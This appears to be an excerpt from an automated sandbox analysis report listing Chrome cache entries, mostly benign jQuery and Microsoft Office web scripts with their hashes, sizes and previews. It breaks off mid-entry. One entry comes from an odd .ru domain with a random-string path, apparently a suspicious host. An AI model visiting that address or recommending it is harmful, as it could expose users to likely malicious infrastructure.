MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlcNzwuililuxIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
Preview:	{}

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2224), with no line terminators
Category:	downloaded
Size (bytes):	2224
Entropy (8bit):	5.029670917384203
Encrypted:	false
SSDEEP:	48:iYyhna6311NDG9e1ctrSmz6usES0da3RhRDh79nFzFnpR4RYhQyYSI:iYenaUG0aB+qahhRDh79nFzFn/cYhQy4
MD5:	96EC242EA2E25558F7EC13FA88D9D793
SHA1:	B0BB7F6BD5206CC1FFB572CBD4A6AD2F88D42433
SHA-256:	850C54CE960E710757379C19601C65C00CF7D485063115F34AA30AE193CCEA43
SHA-512:	8C732012F96C7A9B4434F1BC27262A07080F05FCDF54E64B9CB4F37C20D3D8A85FAC2387C934798056D137B03F918D5CE4847C835CC013EDD4485686993D5F4F
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/Feedback/latest/Intl/en/officebrowserfeedbackstrings.js
Preview:	OfficeBrowserFeedback.setUiStrings({FeedbackSubtitle:"Send Feedback to Microsoft",PrivacyStatement:"Privacy Statement",Form:{CommentPlaceholder:"Please do not include any confidential or personal information in your comment",CategoryPlaceholder:"Select a category (optional)",EmailPlaceholder:"Email (optional)",RatingLabel:"Rating",ScreenshotLabel:"Include screenshot",Submit:"Submit",Cancel:"Cancel",EmailCheckBoxLabel:"You can contact me about this feedback",PrivacyConsent:"IT admins for your organization will be able to view and manage your feedback data.",PrivacyLabel:"By pressing submit, your feedback will be used to improve Microsoft products and services. ",ScreenshotImgAltText:"Screenshot Preview"},SingleForm:{Title:"Please provide feedback"},SmileForm:{Anchor:"I like something",Title:"What did you like?"},FrownForm:{Anchor:"I don't like something",Title:"What did you not like?"},IdeaForm:{Anchor:"I have a suggestion",Title:"What do you suggest?"},BugForm:{Anchor:"File a bug",Titl

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	low
URL:	https://fdexa.nhol.ru/wgwecuyrjynbdoiaykpnbvmnXYETVYOLWICJNNPRMAYLKOONDAVSTN
Preview:	0

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	263429
Entropy (8bit):	5.463089036835224
Encrypted:	false
SSDEEP:	6144:/BF3RyzeBV4mkbZ5KRP892mRBw5nC0tmW:r3RyzeBVGl92mRBcC0tmW
MD5:	44A1AC1A0B68688AAC245DC40F2C0117
SHA1:	EBEB3D512FD251E872DF684473956EBF2B556367
SHA-256:	39DE539C8FE140C88D7AA0C878F8E71F776E94331F7A77DFAD078A013D8DFB8C
SHA-512:	F9AF62D303B1F31FFC04EC73A3DF9EB8EC7F3FB6368686EC2FB2360A4625AD0F82BE0DE0B0387A30DDAC99FE9D77EBF70EF2038157303458FAA310EA78C33E68
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.ab1050286d8e7e0c7bc0.js
Preview:	var Microsoft;!function(){"use strict";var n,e,t,o,i={9323:function(n,e,t){t.d(e,{X:function(){return u}});var o=t(4401),i=t(857),r=t(765),u=function(n){function e(e){var t=n.call(this)\|\|this;return t.H=e,t}return o.ZT(e,n),Object.defineProperty(e.prototype,"value",{get:function(){return this.getValue()},enumerable:!0,configurable:!0}),e.prototype.A=function(e){var t=n.prototype.A.call(this,e);return t&&!t.closed&&e.next(this.H),t},e.prototype.getValue=function(){if(this.hasError)throw this.thrownError;if(this.closed)throw new r.N;return this.H},e.prototype.next=function(e){n.prototype.next.call(this,this.H=e)},e}(i.xQ)},4813:function(n,e,t){t.d(e,{y:function(){return l}});var o=t(7191),i=t(3066),r=t(2055),u=t(3140);function a(n){return n}var s=t(4505),l=function(){function n(n){this.F=!1,n&&(this.A=n)}return n.prototype.lift=function(e){var t=new n;return t.source=this,t.operator=e,t},n.prototype.subscribe=function(n,e,t){var u=this.operator,a=function(n,e,t){if(n){if(n instanceof o.L

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	164946
Entropy (8bit):	5.228243361507891
Encrypted:	false
SSDEEP:	3072:Gibn1WyRyLdMuLiRy7X9NOs4l0e4etqsCCss:rbn1zRyLdMuWREOs4l0e9tqsCCss
MD5:	C99FD966E6E6574683D292EB727DD091
SHA1:	DD89D371EFF9FE118A7BCEC52D97B90758D5B685
SHA-256:	D4BDDA245961E7E0C72E398286953E1361DBECECB8C7E495F3F9848365340E6D
SHA-512:	EB86F16900A1FA75089AAFF6833F465B4E071062E509F1ECDB6D126596DFCD763E69713CDA707010760DF045F9AE0AC65C0E7C97C2D8275D86DCDC90200D1E79
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hD4BDDA245961E7E0_App_Scripts/wp5/onenoteSyncNew.min.js
Preview:	var onenoteSync;!function(){var n={833:function(n,t,r){n.exports=function(){"use strict";var n=function(){return n=Object.assign\|\|function(n){for(var t,r=1,e=arguments.length;r<e;r++)for(var i in t=arguments[r])Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i]);return n},n.apply(this,arguments)};function t(n,t,r){if(r\|\|2===arguments.length)for(var e,i=0,u=t.length;i<u;i++)!e&&i in t\|\|(e\|\|(e=Array.prototype.slice.call(t,0,i)),e[i]=t[i]);return n.concat(e\|\|Array.prototype.slice.call(t))}var e="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof self?self:"undefined"!=typeof window?window:r.g,i=Object.keys,u=Array.isArray;function o(n,t){return"object"!=typeof t\|\|i(t).forEach((function(r){n[r]=t[r]})),n}"undefined"==typeof Promise\|\|e.Promise\|\|(e.Promise=Promise);var s=Object.getPrototypeOf,c={}.hasOwnProperty;function a(n,t){return c.call(n,t)}function f(n,t){"function"==typeof t&&(t=t(s(n))),("undefined"==typeof Reflect?i:Reflect.ownKeys)(t).forEach((function(r){l(n,r,t[r])}

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3290
Entropy (8bit):	5.8645491123712175
Encrypted:	false
SSDEEP:	96:qBjh9FRPoZ1ZPj1OQcqPERJJFro8ENa2z+wZ:+jhbRPoTB1O/qPsJxCa2z+wZ
MD5:	33C9F5DCC29BF7803DB5B31B5ECCDE7B
SHA1:	DB76B517E6DE25637E2C2EE26BAB90492B49169D
SHA-256:	C5391C3264A5EE303C943F77AA8B679F3B516E9C9CA1EC44C266F52D26C6D1C4
SHA-512:	FE1DD15FB3AE8E6C58D71DF1BE950D76765CD2324B6C79F854E4D7CE74D342C60FC571C45D54DF65A3EBC7D196FBD96EE396203C347E1DD97A72FA9E6B3669ED
Malicious:	false
Reputation:	low
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/production/1/manifest.json
Preview:	{"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiGPGsd1+Hl/d3AExuOl1424"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.8848e66fec3f0fe2b9bd.js","sha384-f496wIDTKysXLbQhhn/fywK0oCK1tUyF25ra/f8IOV7+15bPmxzracOq6bT1J+tC"],"sharedaut

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2997)
Category:	downloaded
Size (bytes):	3046
Entropy (8bit):	5.425422087431829
Encrypted:	false
SSDEEP:	48:mdILur7JKN7i/GmBQw0q1abuwtTwWWVwokWVw5OY9OHXtVwJyVwu9Zed8yGWL7x+:mvcfbqoiwtTwWiwokiw5OY9OHXHw8wMh
MD5:	126B73E9F3729F144278662AEA5148B9
SHA1:	5FF635CE022E88AC1368B55EC8B5F6EFAAFD8001
SHA-256:	F84DC1D640FC8E1ACF804255DC3027F34301A176F547E2BE6CFA01155A189031
SHA-512:	4D5D9427E95A908316AD9FB2EDA54BE76DC07550C49CE07A7BC29AC3B75AD8D355DADBAB40B28DB35D23DC1DA3D82E5C0CC2973F455D98398A37B5A757D1401C
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/oreonotebookpane.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[3],{98544:function(e,n,t){var o=t(93556),a=t(78267)(o);a.push([e.id,".wacCanvasOverlay__overlay___DpHwX {\n bottom: 0;\n left: -50px;\n position: absolute;\n right: 0;\n top: 0;\n z-index: 90;\n background: rgba(0, 0, 0, 0);\n -ms-high-contrast-adjust: none;\n}\n",""]),a.locals={overlay:"wacCanvasOverlay__overlay___DpHwX"},e.exports=a},85649:function(e,n,t){"use strict";t.r(n);var o=t(37730),a=t(26410),r=t(39504),i=t(4514);const s=(0,o.connect)((function(e){return{showOverlay:e.isVisible,navSelection:e.navSelection}}))((function(e){var n=e.showOverlay&&!e.navSelection[r.i.SHOW_ALL]?a.createElement("div",{className:i.overlay}):null;return a.createElement("div",null,n)}));var c=t(89198),l=t(41664),u=t(29513),d=t(90672),m=t(70704),S=t(64144),v=(0,l.xj)(),g=function(e,n){var t={};return t[n]=!0,e((0,d.h9)(t)),c.ZP.ActionResponse.Succeeded};var P,h=t(99783),p=t(59745),Z=t(71859),b=t(63249),f=t(63654);P=S.Z.di

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31038), with no line terminators
Category:	downloaded
Size (bytes):	31038
Entropy (8bit):	5.182869723505779
Encrypted:	false
SSDEEP:	768:lWo0BHNt8EF0MPEN5DkvBouB8gHEDT95kdnkVM1owjH/7VXDneVN:lP0BHNuEF0MPU9GjjpnIN
MD5:	9EB54831A39D725782574C247D3D0206
SHA1:	BAFDEAF62ED6F1BC258BDE5653AB97FA47062D0B
SHA-256:	8F1B49875CDC595D3EF040DAB7B12AF26195018F1876AC1F17A2443CE594B960
SHA-512:	902A60D3E969442C539CCA2893A71E5E95BF4AB4B5230C5D2DDB7D290D8AD3B4F28BBB30EA10BFDE72659FAABA354C9F1BCD817E6944A111FA727ED62543FD24
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-04-12.007/require-9eb54831.js
Preview:	!(function(){if("PerformanceLongTaskTiming"in window){var e=window.__tti={e:[]};e.o=new PerformanceObserver((function(t){e.e=e.e.concat(t.getEntries())}));e.o.observe({entryTypes:["longtask"]})}})();!(function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports["es6-symbol"]=t():(e["es6-symbol"]=t(),e.Symbol=e.Symbol\|\|e["es6-symbol"])})(window,(function(){return(function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1209046
Entropy (8bit):	5.504567668728577
Encrypted:	false
SSDEEP:	24576:b6mu52VOoaLB9OYA1HsWbJTLet10Afd4SVba0i:+mm28DLB9OYA1HsWbJTLet10Afd5Vbc
MD5:	EAD18F616F6257FEAD370565146EEDB2
SHA1:	DED78B22FAB29156C07C0A97A805FE6E2414FCA4
SHA-256:	E2A655E5AB068FA502A27FEC0A60993602804C4C47AFF1C73D55B6D12F56A471
SHA-512:	7456278142B38EED73F9A129F0B673A7E6FA97A2C0899990C5BD62F760DBABF91FC76F68DEE5FA2429BB77C5B76B6225DDD0D94555AF566A768D2836971807CB
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/common50.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[503],{65670:function(e,t,n){var o=n(93556),r=n(78267)(o);r.push([e.id,".navPane__notebookArea___Bt0Ra {\n background-color: #ffffff;\n display: flex;\n flex-direction: column;\n height: 100%;\n width: 200px;\n}\n\n.navPane__oldmainArea___e6Kzp {\n background-color: #f9f9f9;\n border-right: 1px solid #d2d2d2;\n display: flex;\n flex-direction: column;\n height: 100%;\n margin-right: -1px;\n overflow: hidden;\n position: relative;\n}\n\n.navPane__mainArea___ve8sE {\n background-color: #faf9f8;\n border-right: 1px solid #edebe9;\n box-sizing: border-box;\n -webkit-box-sizing: border-box;\n width: 100%;\n}\n/* Fixes navpane can't be resized in IE11 */\n@media screen and (-ms-high-contrast: none), (-ms-high-contrast: active) {\n .navPane__mainArea___ve8sE {\n box-sizing: content-box;\n }\n}\n.navPane__leftSideShadow___duqBM,\n.navPane__rightSideShadow___X4xTt {\n background: linear-gradient(to

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	363
Entropy (8bit):	5.491383438386721
Encrypted:	false
SSDEEP:	6:Yq0qjbQr6pjLpsSFHWD7XvZT3o8Twcgvo8MuXdFT8zrpHqYw8VetpLRVlhIvY:Yq0+0mtiSFH410QOjMYzarpHuPfXR
MD5:	9B2B2D882FD1D00129FD0E16F3153685
SHA1:	02514088D1DED67473555CF1D95326EA51CD6B09
SHA-256:	6601735E4938008EB9A12D9D02683A30DD844601E01781A4172A0B1F4454A917
SHA-512:	4260977C8B7B7B77847F52962483438CE647AF7B5E6445F7F2033A04219417A49BBED4E3FB32A1559D0176A74B3D610256C96F386C007BAFBC149A4F31739E48
Malicious:	false
Reputation:	low
Preview:	{"OneShell":{"UpdatedConsumerAppList":true,"M365StartEnabled":true,"DisableM365StartIntentsModule":false,"default":true},"Headers":{"ETag":"\"FO6m/F5jS96NgUJqNUG2VzZi0XTxWzqJ64gKi6MEfw8=\"","Expires":"Fri, 26 Apr 2024 08:59:28 GMT","CountryCode":"US","StatusCode":"200"},"ConfigIDs":{"OneShell":"P-E-1231703-2-6,P-R-1157040-4-8,P-R-1131228-4-17,P-D-1117449-1-4"}}

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	188031
Entropy (8bit):	5.494797126447231
Encrypted:	false
SSDEEP:	3072:ITAmoMLTGA/7xA0ttt8a2mkbBayvvILb4NpQh8LOvSRvjTNfXGq+uodwtGfRB0XP:mEMGAjxA0ttia2mkbQvSRvjTNfXGxuom
MD5:	5118C7ED2E27F616138607FE07D7B09A
SHA1:	48EBC5D5F1B545A27A4452F7373E1B7ADDDCAC7A
SHA-256:	601B4D5F51F7059E61E19D99CBD79BCF63EA05A887C815C3A0F9222D44B0E654
SHA-512:	B72F1E0D4B449D6A644265AEAAECF3F08612236167DFF0CA043871481BD2C26CE4C5CC94826331B23A3FD37832C68F764C6A0DBC150D05AD2702467E2CB6B0C8
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.slim.9fbed861128f4d4b51ef.js
Preview:	var Microsoft;!function(){"use strict";var n,t,e,o,i={9323:function(n,t,e){e.d(t,{X:function(){return u}});var o=e(4401),i=e(857),r=e(765),u=function(n){function t(t){var e=n.call(this)\|\|this;return e.H=t,e}return o.ZT(t,n),Object.defineProperty(t.prototype,"value",{get:function(){return this.getValue()},enumerable:!0,configurable:!0}),t.prototype.A=function(t){var e=n.prototype.A.call(this,t);return e&&!e.closed&&t.next(this.H),e},t.prototype.getValue=function(){if(this.hasError)throw this.thrownError;if(this.closed)throw new r.N;return this.H},t.prototype.next=function(t){n.prototype.next.call(this,this.H=t)},t}(i.xQ)},4813:function(n,t,e){e.d(t,{y:function(){return l}});var o=e(7191),i=e(3066),r=e(2055),u=e(3140);function s(n){return n}var a=e(4505),l=function(){function n(n){this.F=!1,n&&(this.A=n)}return n.prototype.lift=function(t){var e=new n;return e.source=this,e.operator=t,e},n.prototype.subscribe=function(n,t,e){var u=this.operator,s=function(n,t,e){if(n){if(n instanceof o.L

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3290
Entropy (8bit):	5.8645491123712175
Encrypted:	false
SSDEEP:	96:qBjh9FRPoZ1ZPj1OQcqPERJJFro8ENa2z+wZ:+jhbRPoTB1O/qPsJxCa2z+wZ
MD5:	33C9F5DCC29BF7803DB5B31B5ECCDE7B
SHA1:	DB76B517E6DE25637E2C2EE26BAB90492B49169D
SHA-256:	C5391C3264A5EE303C943F77AA8B679F3B516E9C9CA1EC44C266F52D26C6D1C4
SHA-512:	FE1DD15FB3AE8E6C58D71DF1BE950D76765CD2324B6C79F854E4D7CE74D342C60FC571C45D54DF65A3EBC7D196FBD96EE396203C347E1DD97A72FA9E6B3669ED
Malicious:	false
Reputation:	low
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/production/50/manifest.json
Preview:	{"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiGPGsd1+Hl/d3AExuOl1424"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.8848e66fec3f0fe2b9bd.js","sha384-f496wIDTKysXLbQhhn/fywK0oCK1tUyF25ra/f8IOV7+15bPmxzracOq6bT1J+tC"],"sharedaut

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (58564)
Category:	downloaded
Size (bytes):	259684
Entropy (8bit):	5.327904189873256
Encrypted:	false
SSDEEP:	3072:AbEnB7WAeZEQB9efnuOowwIjZpl0OTEpSl/N2iYcGDnHWha9k3k0KUDfGTxGuW0:pjKEQP4powwc+Owc4UDWZ
MD5:	356F8A46916DE3D0581098AE3207B929
SHA1:	17A5DCAC86D948286482AFAF1B7D037F26FF6F1F
SHA-256:	4F8AF56915EA4DF6E4E9306FCCF110AAB2B7CF30BF2F4D3AC6E45B7E3E1EE4AA
SHA-512:	4F98F82417D166E77C8AEDE9A05078612C0A29A80030D8D03F08FCA78DA0F21FCB50F0BC1E20249938106C1B65DA5F1DD6CBE0A2F4B325AA867B5518DD2F9432
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-04-12.007/wacowlhostwebpack/8.js
Preview:	/! For license information please see 8.js.LICENSE.txt /.(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[8],{616:(e,t,n)=>{"use strict";var a;n.d(t,{a:()=>a,b:()=>i}),function(e){e[e.CRITICAL=1]="CRITICAL",e[e.WARNING=2]="WARNING"}(a\|\|(a={}));var i={BrowserDoesNotSupportLocalStorage:0,BrowserCannotReadLocalStorage:1,BrowserCannotReadSessionStorage:2,BrowserCannotWriteLocalStorage:3,BrowserCannotWriteSessionStorage:4,BrowserFailedRemovalFromLocalStorage:5,BrowserFailedRemovalFromSessionStorage:6,CannotSendEmptyTelemetry:7,ClientPerformanceMathError:8,ErrorParsingAISessionCookie:9,ErrorPVCalc:10,ExceptionWhileLoggingError:11,FailedAddingTelemetryToBuffer:12,FailedMonitorAjaxAbort:13,FailedMonitorAjaxDur:14,FailedMonitorAjaxOpen:15,FailedMonitorAjaxRSC:16,FailedMonitorAjaxSend:17,FailedMonitorAjaxGetCorrelationHeader:18,FailedToAddHandlerForOnBeforeUnload:19,FailedToSendQueuedTelemetry:20,FailedToReportDataLoss:21,FlushFailed:22,MessageLimitPerPVExceeded:23,MissingRequi

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1224), with no line terminators
Category:	downloaded
Size (bytes):	1224
Entropy (8bit):	5.8189161510866025
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAjZy+KVCLTLv138EgFB5vtTGJTlWtRcw1MuhtsLqo40RWUnYN:VKEcixKonR3evtTA87b1Muh6LrwUnG
MD5:	5C1B30CF28C281A9C30A11D5418E6546
SHA1:	70149D59E8204ED9DDBC6C090B4AB98A10833385
SHA-256:	5D1B6A526FFD1A9E7782FDCF62589A8BC365956A59FED61DCC1B69B9FDC46B73
